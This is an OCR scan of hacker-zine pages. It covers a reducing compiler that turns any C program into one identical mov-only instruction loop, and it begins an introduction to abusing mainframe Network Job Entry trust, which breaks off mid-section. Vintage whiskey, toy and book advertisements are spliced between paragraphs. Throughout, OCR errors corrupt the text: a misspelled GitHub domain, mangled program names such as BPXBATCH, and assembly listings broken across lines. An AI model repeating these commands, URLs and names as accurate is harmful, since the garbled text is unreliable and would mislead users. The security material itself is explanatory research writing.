in his Corkami project. 31 

We’d like to thank all of the above! 


4.5.1 Acknowledgments and Related Work 

No research is done in a vacuum; Comma 
Chameleon was only possible because of prior re- 
search, inspiration, and collaboration with others in 
the community. 

Using the PDF format for extracting same 
origin resources was first researched by Vladimir 
Vorontsov. 29 Alex Infiihr later presented various 
vulnerabilities in Adobe Reader. 30 

Vladimir and Alex demonstrated that PDF files 
could embed the scripts in the simple calculation 
language, FormCalc, to issue HTTP requests to 
same-origin URLs and read the responses. This re- 
quires no confirmation from the user and can be 



POSTUM 


“I don’t give a rap about the theories; the com- 
fortable, healthy facts are sufficient.” 

“There’s a Reason” for Postum 


Yes, thanks, 

I’m quite well. 


“Wouldn’t know 
me? Well, I hardly 
know myself when 
I realize the superb 
comfort of well - bal- 
anced nerves and per- 
fect health.” 


“The change began 
when I quit coffee 
and tea, and started 


drinking 


29 Vladimir Vorontsov, SDRF Vulnerability in Web Applications and Browsers 
30 Alex Infiihr, PDF — Mess With the Web 
31 git clone https://github.cora/angea/corkami 
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FULL QUART 
BOTTLES 


HAYNER BOTTLED-IN- 
BOND WHISKEY is oneof 
the choicest whiskies ever dis- 
tilled— rich in quality— mellow 
with age — delicious in flavor 
and aroma. 

IT’S PURE WHISKEY— ab- 
solutely pure to the last drop. 

PURE. Made in strict con- 
formity with the United States 
Pure Food Law and guaranteed 
pure by our affidavit filed with 
the Secretary of Agriculture 
at Washington, Serial No. 
1401. 

PURE. Of the highest 
standard of purity to pass the 
strictest analysis of the Pure 
Food Commissions of every 
State in the Union. 

PURE. Because it is dis- 
tilled aged and BOTTLED- IN- 
BOND under the direct super- 
vision of the United States 
Government— and its full age, 


^mREC^I 

FROM 

DISTILLERY] 

TO YOU 


full strength and full measure 
are CERTIFIED TO BY 
THE UNITED STATES 
GOVERNMENT as shown by 
IT’S official stamp over the 
cork of every bottle. 

SEND US YOUR ORDER— 
save all the dealers’ profits and 
get this highest grade BOT- 
TLED-IN-BOND whiskey 
direct from distillery at dis- 
tillers’ price. 

OUR ORRER 

We will send you FOUR FULL 
QUART BOTTLES HAYNER 
PRIVATE STOCK BOTTLED- 
IN-BOND WHISKEY for 
$3.20. by express prepaid— 
in plain package with no marks 
to show contents. When you 
get it— try it— every bottle if 
you wish. If not satisfactory, 
return it at our expense and 
we will return your $3.20. 
That’ s fair— isn’ t it? 


Don’t wait — order to=day and address our nearest shipping depot. 

Orders for Arizona, California, Colorado, Idaho, Montana, Nevada, New 
Mexico, Oregon, Utah, Washington, or Wyoming, must be on the basis of 
4 Quarts for $4 by Express Prepaid, or 20 Quarts for $15.20 by 
Freight Prepaid. 

THE HAYNER DISTILLING CO., Div. 1408 

Dayton, Ohio. St. Louis, Mo. St. Paul, Minn. Atlanta, Ga. 
153 Distillery, Troy, Ohio. Capital, $500,000,00 Full Paid. 
ESTABLISHED 1800. 
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5 A Crisis of Existential Import; or, 
Putting the VM in M/o/Vfuscator 


by Chris Domas 


mov 

esi , 

offset ops 

A 

loop: 


mov 

ebx, 

[esi] 

mov 

ebx, 

[ebx] 

add 

ebx, 

[esi +4] 

mov 

ebx, 

[ebx] 

mov 

edx, 

[esi +8] 

mov 

edx, 

[edx] 

add 

edx, 

[esi+0Ch] 

mov 

[edx] , ebx 

add 

esi 

10h 

jmp 

short loop 


AES 


mov 

esi , 

offset ops 

A 

loop: 


mov 

ebx, 

[esi] 

mov 

ebx, 

[ebx] 

add 

ebx, 

[esi +4] 

mov 

ebx, 

[ebx] 

mov 

edx, 

[esi +8] 

mov 

edx, 

[edx] 

add 

edx, 

[esi+0Ch] 

mov 

[edx] , ebx 

add 

esi 

10h 

jmp 

short loop 


Minesweeper 


A programmer writes code. That is his purpose: 
to define the sequence of instructions that must be 
carried out to perform a desired action. Without 
code, he serves no purpose, fulfills no need. What 
then would be the effect on our existential selves if 
we found that all code was the same, that every pro- 
gram could be written and executed exactly as every 
other? What if the net result of our century of work 
was precisely . . . nothing? 

Here, we demonstrate that all programs, on all 
architectures, 32 can be reduced to the same instruc- 
tion stream; that is, the sequence of instructions 
executed by the processor can be made identical 
for every program. On careful analysis, it is nec- 
essary to observe that this is subtly distinct from 
prior classes of research. In an interpreter, we might 
say that the same instructions (those that compose 
the VM) can execute multiple programs, and this is 
correct; however, in an interpreter the sequence of 
the instructions executed by the processor changes 
depending on the program being executed — that is, 
the instruction streams differ. Alternatively, we note 
that it has been shown that the x86 MMU is itself 
Turing-complete, allowing a program to run with no 
instructions at all. 33 


In this sense, on x86, we could argue that any 
program, compiled appropriately, could be reduced 
to no instructions — thereby inducing an equivalence 
in their instruction streams. However, this peculiar- 


ity is unique to x86, and it could be argued that the 
MMU is then performing the calculations, even if 
the processor core is not — different calculations are 
being performed for different programs, they are just 
being performed “elsewhere.” 

Instead, we demonstrate that all programs, on 
any architecture, could be simplified to a single, 
universal instruction stream, in which the compu- 
tations performed are precisely equivalent for every 
program — if we look only at the instructions, rather 
than their data. 

In our proof of concept, we will illustrate reduc- 
ing any C program to the same instruction stream on 
the x86 architecture. It should be straightforward to 
understand the adaptation to other languages and 
architectures. 

We begin the reduction with a rather ridiculous 
tool called the M/o/Vfuscator. The M/o/Vfusca- 
tor allows us to compile any C program into only 
x86 mov instructions. That is not to say the in- 
structions are all the same— the registers, operands, 
addressing modes, and access sizes vary depending 
on the program — but the instructions are all of the 
mov variety. What would be the point of such a 
thing? Nothing at all, but it does provide a useful 
beginning for us- by compiling programs into only 
mov instructions, we greatly simplify the instruc- 
tion stream, making further reduction feasible. The 
mov instructions are executed in a continuous loop, 
and compiling a program 34 produces an instruction 
stream as follows: 


1 start : 
mov . . . 

3 mov . . . 

mov . . . 

5 ... 

mov . . . 

7 mov . . . 

mov . . . 

9 jmp start 


32 Perhaps it is necessary to specify, Turing-complete architecture. 

33 See The Page-Fault Weird Machine: Lessons in Instruction-less Computationby Julian Bangert et al., USENIX WOOT’13 
or the 29C3 talk “The Page Fault Liberation Army or Gained in Translation” by Bangert &; Bratus 
34 movcc -Wf -no-mov-loop program. c -o program 
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Fine Fun For 


Winter Nights 



Dull evenings are unknowrf 
where there’s a New Mirro- 
scope. Simply hang a sheet, 
darken the room and have a picture 
show of your own. Guessing 
games,’ puzzles, illustrated son^s — 
there are hundreds of ways to 
entertain yourself and friends/with 


The New 

Mirrccc ■ 


The 1916 Models have improved 
lenses and lighting system and ex- 
clusive adjustable card holder. 
Prices range from $2.50 to $25.00. 
Six sizes. Made for electricity, 
acetylene and natural or artificial 
gas. Every New Mirroscope fully 
guaranteed. 

FREE: The New Mirroscope Booklet 
of shows and entertainments. 
Send for it. 


You can buy the 
New Mirroscope at 
most department 
and toy stores, 
at many photo 
supply and hard- 
ware stores. Ask 
for the New Mir- 
roscope and look 


lor the name. If 
no dealer is near 
you, we will ship 
direct* on receipt 
of price. 

The 

Mirroscope Co. 

Waterloo Road 

Cleveland, O. 


But our mov instructions are of all varieties — 
from simple mov eax , edx to complex mov dl , 
[esi+4*ecx+0xl9af c09] , and everything in be- 
tween. Many architectures will not support such 
complex addressing modes (in any instruction), so 
we further simplify the instruction stream to pro- 
duce a uniform variety of movs. Our immediate goal 
is to convert the diverse x86 movs to a simple, Tbyte, 
indexed addressing varieties, using as few registers 
as possible. This will simplify the instruction stream 
for further processing and mimic the simple load and 
store operations found on RISC type architectures. 
As an example, let us assume 0x10000 is a Tbyte 
scratch location, and esi is kept at 0. Then 



can be converted to 

1 mov [0 xl0000+esi ] , edx 
mov eax, [0 xl 0000+e s i ] 


We have replaced the register-to-register mov va- 
riety with a standard Tbyte indexed memory read 
and write. Similarly, if we pad our data so that an 
oversized memory read will not fault, and pad our 
scratch space to allow writes to spill, then 



can be rewritten 

1 mov [0 xl0000+esi ] , eax 
mov edi , [0 x20000— 3+es i ] 

3 mov [0 xlOOOO— 3+es i ] , edi 
mov eax, [0 xlOOOO+e s i ] 


For more complex addressing forms, such as mov 
dx, [eax+4*ebx+0xdeadbeef ] , we break out the 
extra bit shift and addition using the same technique 
the M/o/Vfuscator uses— a series of movs to perform 
the shift and sum, allowing us to accumulate (in the 
example) eax+4*ebx into a single register, so that 
the mov can be reduced back to an indexed address- 
ing eax+Oxdeadbeef . 

With such transforms, we are able to rewrite our 
diverse-mov program so that all reads are of the form 
mov esi/edi, [base + esi/edi] and all writes of 
the form mov [base + esi/edi] , esi/edi, where 
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base is some fixed address. By inserting dummy 
reads and writes, we further homogenize the instruc- 
tion stream so that it consists only of alternating 
reads and writes. Our program now appears as (for 
example) : 


start : 


mov esi , [0x149823 + 

edi ] 

mov [0x9fba09 + esi] , 

esi 

mov edi , [0x401ab5 + 

edi ] 

mov [0 x3719ff + esi ] , 

edi 

jmp start 



The only variation is in the choice of register and 
the base address in each instruction. This simplifica- 
tion in the instruction stream now allows us to more 
easily apply additional transforms to the code. In 
this case, it enables writing a non-branching mov in- 
terpreter. We first envision each mov as accessing 
“virtual,” memory-based registers, rather than CPU 
registers. This allows us to treat registers as sim- 
ple addresses, rather than writing logic to select be- 
tween different registers. In this sense, the program 
is now 


start : 



MOVE [ _esi ] , [0x149823 

+ 

[ edi ] ] 

MOVE [0x9fba09 + [ esi 

]] , 

[ _esi ] 

MOVE [ edi] , [0x401ab5 

+ 

[ edi ] ] 

MOVE [0 x3719ff + [ _esi 

]] , 

[ _edi ] 

jmp start 




where _esi and _edi are labels on Tbyte mem- 
ory locations, and MOVE is a pseudo-instruction, ca- 
pable of accessing multiple memory addresses. With 
the freedom of the pseudo-instruction MOVE, we can 
simplify all instructions to have the exact same form: 


We can now define each MOVE by its tuple of 
memory addresses: 


(0 , esi , 

0x149823 , 

edi} 

{0x9fba09 

esi , 0 , 

esi } 

(0 , edi , 

0x401ab5 , 

edi} 

(0x3719ff 

. esi , 0 , 

edi} 


and write this as a list of operands: 



operands : 



2 

. long 

0 , esi , 

0x149823 , 

edi 


. long 

0x9fba09 

, esi , 0 , 

esi 

4 

. long 

0 , edi , 

0x401ab5 , 

edi 


. long 

0x3719ff 

, esi , 0 , 

edi 


We now write an interpreter for our pseudo-mov. 
Let us assume the physical esi register now holds 
the address of a tuple to execute: 


i 

; a pseudo 

—move 


3 

; Read the 

data from 

the source . 


mov ebx , [ 

esi+0] ; 

Read the address of the 

5 


; 

virtual index register . 


mov ebx , [ 

ebx ] ; 

Read the virtual index 

7 


; 

register . 


add ebx , [ 

esi+4] ; 

Add the offset and 

9 


; 

index registers to 
compute a source 

11 


• 

address . 


mov ebx , [ 

ebx ] ; 

Read the data from the 

13 


5 

computed address . 

15 

; Write the data to 

the destination . 


mov edx , [ 

esi+8] ; 

Read the address of the 

17 


; 

virtual index register . 


mov edx , [ 

edx ] ; 

Read the virtual index 

19 


; 

register . 


add edx , [ 

esi +12] ; 

Add the offset and 

21 


; 

index registers to 
compute a destination 

23 


; 

address . 


mov [ edx ] , 

ebx ; 

Write the data to the 

25 


5 

destination address . 


start : 




MOVE [0 + [ esi]] 

, [0x149823 

+ 

[ _edi ] ] 

MOVE [ 0 x9fba09 + 

[ _esi ] ] , [0 

+ 

[ _esi j j 

MOVE [0 + [ edi]] 

, [0 x401ab5 

+ 

[ _edi j j 

MOVE [0 x3719ff + 

[ esi ] ] , [0 

+ 

[ _edi j ] 

jmp start 






Make Your Boy a Leader 


Give him a Leedawl Com- 
pass for Christmas and let 
him lead “the boys’' 
through the woods, over a trail or on a tramp. 

It ’s the only Guaranteed Jeweled 
Compass for $1.00. 

If your dealer does not have them ,writ e us, / or / older C- 

Taylor Instrument Companies , Rochester, N. Y. 
Makers of Scientific Instruments of Superiority. 
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Finally, we execute this single MOVE interpreter 
in an infinite loop. To each tuple in the operand 
list, we append the address of the next tuple to ex- 
ecute, so that esi (the tuple pointer) can be loaded 
with the address of the next tuple at the end of each 
transfer iteration. This creates the final system: 


1 

mov 

esi , 

operands 


loop 

: 


3 

mov 

ebx , 

[esi +0] 


mov 

ebx , 

[ ebx ] 

5 

add 

ebx , 

[esi +4] 


mov 

ebx , 

[ ebx ] 

7 

mov 

edx , 

[esi +8] 


mov 

edx , 

[ edx ] 

9 

add 

edx , 

[ esi +12] 


mov 

[ edx 

, ebx 

11 

mov 

esi , 

[esi +16] 


jmp 

loop 



The operand list is generated by the compiler, 
and the single universal program appended to it. 
With this, we can compile all C programs down to 
this exact instruction stream. The instructions are 
simple, permitting easy adaptation to other archi- 
tectures. There are no branches in the code, so the 
precise sequence of instructions executed by the pro- 
cessor is the same for all programs. The logic of 
the program is effectively distilled to a list of mem- 
ory addresses, unceremoniously processed by a mun- 
dane, endless data transfer loop. 

So, what does this mean for us? Of course, not so 
much. It is true, all “code” can be made equivalent, 
and if our job is to code, then our job is not so inter- 
esting. But the essence of our program remains — it 
had just been removed from the processor, diffused 
instead into a list of memory addresses. So rather, 
I suppose, that when all logic is distilled to noth- 
ing, and execution has lost all meaning — well, then, 
a programmer’s job is no longer to “code,” but rather 
to “data!” 

This project, and the proof of concept reduc- 
ing compiler, can be found at Github 35 and as an 
attachment . 36 The full code elaborates on the pro- 
cess shown here, to allow linking reduced and non- 
reduced code. Examples of AES and Minesweeper 
running with identical instructions are included. 

35 git clone https://github.com/xoreaxeaxeax/reducto 
3t> unzip pocorgtfol2.pdf reducto.tgz 


Helps to Spring Fun 

The Second 
BOYS’ BOOK 
OF MODEL 
AEROPLANES 

By Francis Arnold Collins 

The book of books for every lad, and 
every grown-up too, who has been caught 
in the fascination of model aeroplane 
experimentation, covering up to date the 
science and sport of model aeroplane 
building and" flying, both in this country 
and abroad. 

There are detailed instructions for 
building fifteen of the newest models, 
with a special chapter devoted to parlor 
aviation, full instructions for building 
small paper gliders, and rules for con- 
ducting model aeroplane contests. 

The illustrations are from interesting 
photographs and helpful working draw- 
ings of over one hundred new models. 

The price, $1.20 net, postage 11 cents 

The Author’s Earlier Book 

THE BOYS’ BOOK OF 
MODEL AEROPLANES 

It tells just how to build “a glider,” a 
motor, monoplane and biplane models, 
and how to meet and remedy common 
faults — all so simply and clearly that 
any lad can get results. The story of 
the history and development of aviation 
is told so accurately and vividly that it 
cannot fail to interest and inform young 
and old. 

Many helpful illustrations 
The price, $1.20 net, postage 14 cents 


All booksellers, or send direct to the 
publishers : 

THE CENTURY CO. 
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6 A JCL Adventure with Network Job Entries 


by Soldier of Fortran 


Mainframes. Long the cyberpunk mainstay of 
expert hackers, they have spent the last 30 years in 
relative obscurity within the hallowed halls of hack- 
ers/crackers. But no longer! There are many ways 
to break into mainframes, and this article will out- 
line one of the most secret components hushed up 
within the dark corners of mainframe mailing lists: 
Network Job Entry (NJE). 

6.1 Operating System and Interac- 
tion 

With the advent of the mainframe, IBM really had a 
winner on their hands: one of the first multipurpose 
computers that could serve multiple different activ- 
ities on the same hardware. Prior to OS/360, you 
only had single-purpose computers. For example, 
you’d get a machine that helps you track inventory 
at all your stores. It worked so well that you figured 
you wanted to use it to process your payroll. No 
can do, you needed a separate bespoke system for 
that. Enter IBMs OS/360, and, from large to small, 
you had a system that was multipurpose but could 
also scale as your needs did. It made IBM billions, 
which was good because it almost cost the company 
its very existence. OS/360 was released in 1964 and 
(though re-written entirely today) still exists around 


the world as z/OS. 

z/OS is composed of many different components 
that this article doesn’t have the time to get in to, 
but trust me when I say there are thousands of 
pages to be read out there about using and oper- 
ating z/OS. A brief overview, however, is needed to 
understand how NJE (Network Job Entry) works, 
and what you can do with it. 

6.1.1 Time Sharing and UNIX 

You need a way to interact with z/OS. There are 
many different ways, but I’m going to outline two 
here: OMVS and TSO. 

OMVS is the easiest, because it’s really just 
UNIX. In fact, you’ll often hear USS, or Unix Sys- 
tem Services, mentioned instead of OMVS. For the 
curious, OMVS stands for Open MVS; (MVS stands 
for Multiple Virtual Storage, but I’ll save virtual 
storage for its own article.) Shown in Figure 6, 
OMVS is easy- because it’s UNIX, and thus uses 
familiar UNIX commands. 

TSO is just as easy as OMVS— when you under- 
stand that it is essentially a command prompt with 
commands you’ve never seen or used before. TSO 
stands for Time Sharing Option. Prior to the com- 
mon era, mainframes were single-use — you’d have a 
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stack of cards and have a set time to input them and 
wait for the output. Two people couldn’t run their 
programs at the same time. Eventually, though, it 
became possible to share the time on a mainframe 
with multiple people. This option to share time was 
developed in the early 70s and was optional until 
1974. Figure 7 shows the same commands as in Fig- 
ure 6, but this time in TSO. 


1 listds ’ dade . example ’ members 
DADE. EXAMPLE 

3 — RECFNL-LRECI^BLKSIZE-DSORG 
FB 80 27920 PO 

5 — VOLUMES — 

PUBLIC 

7 — MEMBERS — 

MANIFEST 
9 PHRACK 


6.1.2 Datasets and Members; Files and 
Data 

In the examples above you had a little taste of 
the file system on z/OS. UNIX (or OMVS) looks 
and feels like UNIX, and it’s a core component of 
the operating system. However, its file system re- 
sides within what we call a dataset. Datasets are 
what z/OS people would refer to as files/folders. A 
dataset can be a file or folder composed of either 
fixed-length or variable-length data. 3 ' You can also 
create what is called a PDS or Partitioned DataSet: 
what you or I would call a folder. Let’s take a look 
at the TSO command listds again, but this time 
we’ll pass it the parameter members. 


Here we can see that the file EXAMPLE was in 
fact a folder that contained the files MANIFEST and 
PHRACK. Of course this would be too easy if they 
just called it “files” and “folders” (what we’re all used 
to) but no, these are called datasets and members. 

Another thing you may be noticing now is that 
there seem to be dots instead of slashes to denote 
folders/files hierarchy. It’s natural to assume- if 
you don’t use mainframes — that the nice comforting 
notion of a hierarchy carries over with some min- 
imal changes- but you’d be wrong. z/OS doesn’t 
really have the concept of a folder hierarchy. The 
files dade . f ilel . g2 and dade . f ile2 . g2 are sim- 
ply named this way for convenience. The locations, 
on disk, of various datasets, etc. are controlled by 
the system catalogue— which is another topic to save 
away for a future article. Regardless, those dots do 
serve a purpose and have specific names. The text 
before the first dot is called a High Level Qualifier, or 
HLQ. This convention allows security products the 
ability to provide access to clusters of datasets based 


3 ' Mainframe experts, this is a very high level discussion. Please don’t beat me up about various dataset types! 



MAINTENANCE ROOM 

THIS IS WHAT APPEARS TO HAVE BEEN THE MAINTENANCE ROOM FOR FLOOD CONTROL DAM #3. 
APPARENTLY, THIS ROOM HAS BEEN RANSACKED RECENTLY, FOR MOST OF THE VALUABLE EQUIPMENT IS 
GONE. ON THE WALL IN FRONT OF YOU IS A GROUP OF BUTTONS, WHICH ARE LABELLED IN EBCDIC. 
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> Is -1 
total 32 

— rw— r — r — 1 MARGO SYS1 596 Mar 9 13:08 manifest 

— rw— r — r — 1 MARGO SYS1 1494 Mar 9 13:09 phrack.txt 

> cat manifest 

This is our world now... the world of the electron and the switch, the 
beauty of the baud. We make use of a service already existing without paying 
for what could be dirt-cheap if it wasn’t run by profiteering gluttons , and 
you call us criminals . We explore . . . and you call us criminals . We seek 
after knowledge... and you call us criminals. We exist without skin color , 
without nationality , without religious bias... and you call us criminals. 

You build atomic bombs, you wage wars, you murder, cheat , and lie to us 
and try to make us believe it’s for our own good, yet we’re the criminals. 

> cat " // ’DADE. EXAMPLE ( phrack ) ’ " 


L 


I \/ I / 

_ | et al / /hop 

/ / 


j 


(314)432-0756 
24 Hours A Day, 300/1200 Baud 

Presents .... 

^=Phrack Inc . 

Volume One, Issue One, Phile 1 of 


> netstat 

MVS TCP/IP NETSTAT CS V3R5 
User Id Conn Local Socket 


Introduction . . . 

TCPIP Name: TCPIP 

Foreign Socket 


TN3270 


0000000B 0.0. 0.0. .23 


0 . 0 . 0 . 0 . .0 


13:16:16 

State 

Listen 


Figure 6 OMVS 
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READY 

listds example 
DADE. EXAMPLE 

— RECFM-LRECI^BLKSIZE— DSORG 
FB 80 27920 PO 

— VOLUMES — 

PUBLIC 

edit ’ dade . example ( manifest ) ’ text 

IK J52338I DATA SET ’DADE. EXAMPLE (MANIFEST) ’ NOT LINE NUMBERED, USING NONUM 
EDIT 
list 

This is our world now... the world of the electron and the switch, the 
beauty of the baud. We make use of a service already existing without paying 
for what could be dirt-cheap if it wasn’t run by profiteering gluttons , and 
you call us criminals . We explore . . . and you call us criminals . We seek 
after knowledge... and you call us criminals. We exist without skin color, 
without nationality , without religious bias... and you call us criminals. 

You build atomic bombs, you wage wars, you murder, cheat , and lie to us 
and try to make us believe it’s for our own good, yet we’re the criminals. 

IK J52500I END OF DATA 
end 
READY 
netstat 

EZZ2350I MVS TCP/IP NETSTAT CS V3R5 TCPIP Name: TCPIP 18:23:42 

EZZ2585I User Id Conn Local Socket Foreign Socket State 

EZZ2586I 

EZZ2587I TN3270 0000000B 0.0. 0.0. .23 0.0.0.0..0 Listen 


listds lists a dataset. This command is similar to Is. 

edit ’dade . example (manifest) ’ text/list lists the contents of a file. 

netstat is good ol’ netstat. 


Figure 7 - TSO 
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on the HLQ. The other ‘levels’ also have names, but 
we can just call them qualifiers and move on. For 
example, in the listds example above we wanted 
to see the members of the file DADE. EXAMPLE 
where the HLQ is DADE. 

6.1.3 Jobs and Languages 

Now that you understand a little about the file sys- 
tem and the command interfaces, it is time to in- 
troduce JES2 and JCL. JES2, or Job Entry Subsys- 
tem v2, is used to control batch operations. What 
are batch operations? Simply put, these are auto- 
mated commands/actions that are taken program- 
matically. Let’s say you’re McDonalds and need to 
process invoices for all the stores and print the re- 
sults. The invoice data is stored in a dataset, you do 
some work on that data, and print out the results. 
You’d use multiple different programs to do that, so 
you write up a script that does this work for you. 
In z/OS we’d refer to the work being performed as 
a, job, and the script would be referred to as JCL, or 
Job Control Language. 

There are many options and intricacies of JCL 
and of using JCL, and I won’t be going over those. 
Instead, I’m going to show you a few examples and 
explain the components. 

In Figure 8 is a very simple JCL file. In JCL 
each line starts with a //. This is required for every 
line that’s not parameters or data being passed to 
a program. The first line is known as the job card. 
Every JCL file starts with it. In our example, the 
NAME of the job is USSINFO, then comes the TYPE 
(JOB) followed by the job name (JOBNAME) and 
programs exec cat and netstat. The remaining 
items can be understood by reading documentation 
and tutorials. 38 

Next we have the STEP. We give each job step 
a name. In our example, we gave the first step 
the name UNIXCMD. This step executes the program 

BPXBATCH. 

What the hell is BPXBATCH? Essentially, all UNIX 
programs, commands, etc., start with BPX. In our 
JCL, BPXBATCH means “UNIX BATCH”, which is ex- 
actly what this program is doing. It’s executing 
commands in UNIX through JES as a batch process. 
So, using JCL we EXECute the ProGraM BPXBATCH: 
EXEC PGM=BPXBATCH 

Skipping STDIN and STDOUT (it means just use 
the defaults) we get to STDPARM. These are the op- 


tions we wish to pass to BPXBATCH (PARM stands 
for parameters). It takes UNIX commands as its 
options and executes them in UNIX. In our exam- 
ple, it’s catting the file example/manifest and dis- 
playing the current IP configuration with netstat 
home. If you ran this JCL, it would cat the file 
/dade/example/manifest, execute netstat home, 
and print any output to STDOUT, which really means 
it will print it to the log of your job activities. 

If, instead of using UNIX commands, you wanted 
to execute TSO commands, you could use IK- 
JEFT01, as in Figure 9. 

6.1.4 Security 

You need to understand that OS/360 didn’t really 
come with security, and it wasn’t until SHARE in 
1974 that the decision to create security products 
for the mainframe was made. IBM didn’t release the 
first security product for the mainframe until 1976. 
Later, competing products would be released, specif- 
ically ACF2 in 1978 and Top Secret sometime after 
that. IBM’s security product was RACF, or Re- 
source Access Control Facility, and is what is com- 
monly referred to as a SAF, or Security Access Fa- 
cility (ACF2/Top Secret are also SAFs). 

Within RACF you have classes and permissions. 
You can create users, assign groups. You get what 
you’d expect from modern identity managers, but 
it’s very arcane and the command syntax makes no 
sense. For example, to add a user the command is 
ADDUSER: 

1 ADDUSER ZEROKUL NAME( ’Dade Murphy’) TSO ( TSO ( 
AOCTNUM( E133T3 ) PROG ( STARTUP ) ) (OMVS(UID 
(31337) HOME( / u / ZEROKUL ) PROGRAM) / bin/ 
tcsh ) ) DFLTGRP ( SYSOM ) OWNER(SYSADM) 


Adding a group is similar. Luckily, as with all 
things, z/OS IBM has really good documentation 
on how to use RACF. 

The key thing to know is that RACF is one huge 
database stored as data within a dataset. (You can 
see the location by typing RVARY.) 

6.1.5 Networking 

Mainframes run a full TCP/IP stack. This shouldn’t 
really come as a shock, as you saw NETSTAT above! 
TCP/IP has been available since the 80s on z/OS 


3 s http : //www. tutorialspoint . com/j cl/jcl_job_statement .htm 
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1 


3 

5 

7 

9 

11 


//USSINFO JOB (JOBNAME) , ’exec cat and netstat ’ ,CLASS=A, 
// MSGLEVEL= (0,0) , MSGCLASS=K, NOTIFY=&SYSUID 

//UNIXCMD EXEC PGM=BPXBA TCFI 

//* JCL to get system info 

Z/STDIN DD SYSOUT=* 

// STDOUT DD SYSOUT=* 

/ /STDPARM DD * 

sh cat example/ manifest ; net st at home 

A 


Figure 8 - Simple JCL file 


1 //TSOINFO JOB (JOBNAME) ,’ exec netstat ’ ,CLASS=A, 

// MSGLEVEL= (0,0) , MSGCLASS=K, NOTIFY=&SYSUID 

3 //TSOCMD EXEC PGM=1KJEFT01 
//SYSTSPRT DD SYSOUT=* 

5 //SYSOUT DD SYSOUT=* 

//SYSTSIN DD * 

7 LISTDS ’DADE. EXAMPLE’ MEMBERS 
NETSTAT HOME 

9 /* 


Figure 9 - IKJEFT01 for executing TSO commands. 


and has slowly replaced SNA (System Network Ar- 
chitecture, a crazy story beyond the scope of this 
article). 

TCP/IP is configured in a parmlib. I’m being 
vague here, not to protect the innocent, but be- 


cause z/OS is so configurable that you can put these 
configuration files anywhere. Likely, however, you’ll 
find it in SYS1 . TCPPARMS (a PDS). 

So, we’ve got TCP/IP configured and ready to 
go, and we understand that a lot of a mainframe’s 



MACHINE ROOM 

THIS IS A LARGE ROOM FULL OF ASSORTED HEAVY MACHINERY, WHIRRING NOISILY. THE ROOM SMELLS 
OF BURNED RESISTORS. ALONG ONE WALL ARE THREE BUTTONS WHICH ARE, RESPECTIVELY, ROUND, 
TRIANGULAR, AND SQUARE. NATURALLY, ABOVE THESE BUTTONS ARE INSTRUCTIONS WRITTEN IN 
EBCDIC. . . 
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power comes from batch processing. So far so good. 

6.2 Network Job Entry 

Understand that mainframes are expensive. Very 
expensive. When you buy one, you’re not in it for 
the short term. But, say you’re an enterprise in the 
80s and have a huge printing facility designed to 
print checks in New Mexico. You buy a mainframe 
to handle all the batch processing of those printers 
and keep track of what was printed where and when. 
Unfortunately, the data needed for those checks is 
kept in a system in Ohio, and only the system in 
Idaho knows when it’s ready to kick off new print 
jobs automatically. Enter Network Job Entry. 

Using Network Job Entry (or NJE), you can sub- 
mit a job in one environment, say the Idaho main- 
frame POTATO, and have it execute the JCL on a 
different system, for example the New Mexico main- 
frame CACTUS. 



An interesting property of NJE, depending on 
the setup, is that in the default configuration JES2 
will take the userid of the submitter and pass that 
along to the target system. If that user exists on the 
target system and has the appropriate permissions, 
it will execute the job as that user. No password, 
or tokens. How it does this is explained below in 
section 4.1. 

Here’s the same UNIX JCL we saw above, but 
this time, instead of executing on our local system 
(CACTUS), it will execute on POTATO: 


//USSINFO 

JOB (JOBNAME) , ’ exec id on potato 

’ ,CLASS=A, 

// 

MSGLEVEL= (0,0) , MSGCLASS=K, 

NOTIFY=&SYSUID 

/ *XEQ 

POTATO 

//UNIXCMD 

EXEC PGM=BPXBA TCH 

//STDIN 

DD SYSOUT=* 

//STDOUT 

DD SYSOUT=* 

//STDPARM 
sh id 

A 

DD * 


The new line “/*XEQ POTATO” tells JES2 we’d 
like to execute this on POTATO, instead of our lo- 
cal system. 

Within NJE these systems are referred to as 
nodes in a trusted network of mainframes. 

6.2.1 The Setup 

NJE can use SNA, but most companies use TCP/IP 
for their NJE setup today. Configuring NJE requires 
a few things before you get started. First, you’ll 
need the IP addresses for the systems in your NJE 
network, then you need to assign names to each sys- 
tem (these can be different than hostnames), then 
you turn it all on and watch the magic happen. 
You’ll need to know all the nodes before you set 
this up; you can’t just connect to a running NJE 
server without it being defined. 

Let’s use our example from before: 

System Name IP 

System 1 POTATO 10.10.10.1 

System 2 CACTUS 10.10.10.2 

Somewhere on the mainframe there will 
be the JES2 startup procedures, likely in 
SYS1 . PARMLIB( JES2PARM) , but not always. In that 
file there will be a few lines to declare NJE set- 
tings. The section begins with NJEDEF, where the 
number of nodes and lines are declared, as well as 
the number of your own node. Then, the nodes 
are named, with the NODE setting and the socket 
setup with NETSRV, LINE, and SOCKET as shown in 
Figure 10. 

With this file you can turn on NJE with the 
JES2 console command $S NETSERV1. This will en- 
able NJE and open the default port, 175, waiting for 
connections. To initiate the connection, you could 
connect from POTATO to CACTUS with this JES2 
command: $SN, LINE1 , N=CACTUS, or, to go the other 
way, $SN , LINE1 , N=P0TAT0. 
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You can also password protect NJE by adding 
the PASSWORD variable on the NODE lines: 


1 NODE ( 1 ) NAME=POTATO, PASSWORD=OHIO 1234 
NODE ( 2 ) NAME=CACTUS , PASSWORD=N JEROCKS 


The commands, in this case, don’t change when 
you connect, but a password is sent. These pass- 
words don’t need to be the same, as you can see 
in the example. But once you start getting five or 
more nodes in a network, all with different pass- 
words, managing these configs can become a pain, 
so most places just use a single, shared password, if 
they use passwords at all. 

NJE communication can also use SSL, with a de- 
fault port of 2252. If you’re not using SSL, all data 
sent across the network is sent in cleartext. 

With this setup we can send commands to the 
other nodes by using the $N JES2 command. To dis- 
play the current nodes connected to POTATO from 
CACTUS, you’d enter $N 1 , ’$D NODE’ and get the 
output: 



16.54.08 

SHASP826 NODE(l) 

2 

16.54.08 

SHASP826 NODE(l) 

NAME=POTATO, STATUS= (OWNNODE) , 

4 


TRANSMTT=BOTH, 


16.54.08 

SHASP826 

6 


RECEIVE=BOTH, HOLD=NONE 


16.54.08 

SHASP826 NODE(2) 

8 

16.54.08 

SHASP826 NODE(2) 

NAME=CACTUS , STATUS=(VIA/LNE1) , 

10 


TRANSMTT=BOTH, 


16.54.08 

SHASP826 RECEIVE=BOTH, HOLD=NONE 


These commands, sent with $N, are referred to 
as Nodal Message Records or NMR. 


6.2.2 Nodes! 


The current setup will only allow NMRs to be sent 
from one node to another. We need to set up trust 
between these systems. Thankfully, with RACF this 
